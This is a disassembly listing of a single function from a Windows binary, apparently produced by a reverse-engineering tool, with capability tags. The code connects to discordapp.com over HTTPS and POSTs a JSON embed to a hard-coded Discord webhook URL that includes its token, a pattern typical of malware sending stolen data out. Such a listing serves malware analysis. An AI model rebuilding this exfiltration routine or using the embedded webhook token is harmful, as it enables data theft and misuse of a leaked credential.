Function at 0x10006c51
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
sub esp, 0x1c
mov eax, 0x1008319c
call fcn.1005ccdc
sub esp, 0xc0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], 2
push ebx
push ebx
push ebx
push ebx
push str.Fontesie_1.0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push 0x1bb
mov edi, eax
push str.discordapp.com
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0x800000
mov ebx, eax
xor eax, eax
push eax
push eax
push eax
push str._api_webhooks_1112735449966989363_9OTkKEFh5FLD21JIAh8GnbZIxQTDY22Yt0NnboI_7jVb3m_MfzQicW1MynjVJT98BXPJ
push str.POST
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, eax
mov dword [ebp + 0x14], 0xf
xor eax, eax
lea ecx, [ebp]
push 8
mov dword [ebp], eax
push str.16711680
mov dword [ebp + 0x10], eax
mov byte [ebp], al
call fcn.100047ed
lea eax, [ebp + 0x28]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0xcc]
push str._username_:__github.com_Fontesie___content_:_null__embeds_:___title_:__
push eax
call fcn.10006c09
add esp, 0xc
push 0x12
push str.___description_:__
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.1000462d
push eax
lea ecx, [ebp - 0xb4]
call fcn.10001e89
cmp dword [ebp + 0x54], 0x10
lea eax, [ebp + 0x40]
push dword [ebp + 0x50]
cmovae eax, dword [ebp + 0x40]
lea ecx, [ebp - 0xb4]
push eax
mov byte [ebp - 4], 5
call fcn.1000462d
push eax
lea ecx, [ebp - 0x9c]
call fcn.10001e89
push 0x16
push str.___footer_:__text_:__
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 6
call fcn.1000462d
push eax
lea ecx, [ebp - 0x84]
call fcn.10001e89
mov byte [ebp - 4], 7
cmp dword [ebp + 0x6c], 0x10
lea eax, [ebp + 0x58]
push dword [ebp + 0x68]
cmovae eax, dword [ebp + 0x58]
lea ecx, [ebp - 0x84]
push eax
call fcn.1000462d
push eax
lea ecx, [ebp - 0x6c]
call fcn.10001e89
push 0xc
push str.___color_:
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 8
call fcn.1000462d
push eax
lea ecx, [ebp - 0x54]
call fcn.10001e89
cmp dword [ebp + 0x14], 0x10
lea eax, [ebp]
push dword [ebp + 0x10]
cmovae eax, dword [ebp]
lea ecx, [ebp - 0x54]
push eax
mov byte [ebp - 4], 9
call fcn.1000462d
push eax
lea ecx, [ebp - 0x3c]
call fcn.10001e89
push 0x17
push str._____attachments_:___
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xa
call fcn.1000462d
push eax
lea ecx, [ebp - 0x24]
call fcn.10001e89
lea ecx, [ebp - 0x3c]
call fcn.100045b4
lea ecx, [ebp - 0x54]
call fcn.100045b4
lea ecx, [ebp - 0x6c]
call fcn.100045b4
lea ecx, [ebp - 0x84]
call fcn.100045b4
lea ecx, [ebp - 0x9c]
call fcn.100045b4
lea ecx, [ebp - 0xb4]
call fcn.100045b4
lea ecx, [ebp - 0xcc]
call fcn.100045b4
cmp dword [ebp - 0x10], 0x10
lea eax, [ebp - 0x24]
push 0
push dword [ebp - 0x14]
cmovae eax, dword [ebp - 0x24]
push dword [ebp - 0x14]
push eax
push 0xffffffffffffffff
push str.Content_Type:_application_json_r_n
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x10006e50
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push ebx
call esi
push edi
call esi
lea ecx, [ebp - 0x24]
call fcn.100045b4
mov eax, dword [ebp + 0x14]
pop edi
pop esi
pop ebx
cmp eax, 0x10
jb 0x10006ea1
mov ecx, dword [ebp]
inc eax
mov dword [ebp + 0x1c], eax
mov dword [ebp + 0x18], ecx
cmp eax, 0x1000
jb 0x10006e98
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp + 0x18]
push eax
call fcn.10003e9d
mov eax, dword [ebp + 0x1c]
pop ecx
pop ecx
mov ecx, dword [ebp + 0x18]
push eax
push ecx
call fcn.1005ccc7
pop ecx
pop ecx
and dword [ebp + 0x10], 0
lea ecx, [ebp + 0x28]
mov dword [ebp + 0x14], 0xf
mov byte [ebp], 0
call fcn.100045b4
lea ecx, [ebp + 0x40]
call fcn.100045b4
lea ecx, [ebp + 0x58]
call fcn.100045b4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
add ebp, 0x20
leave
ret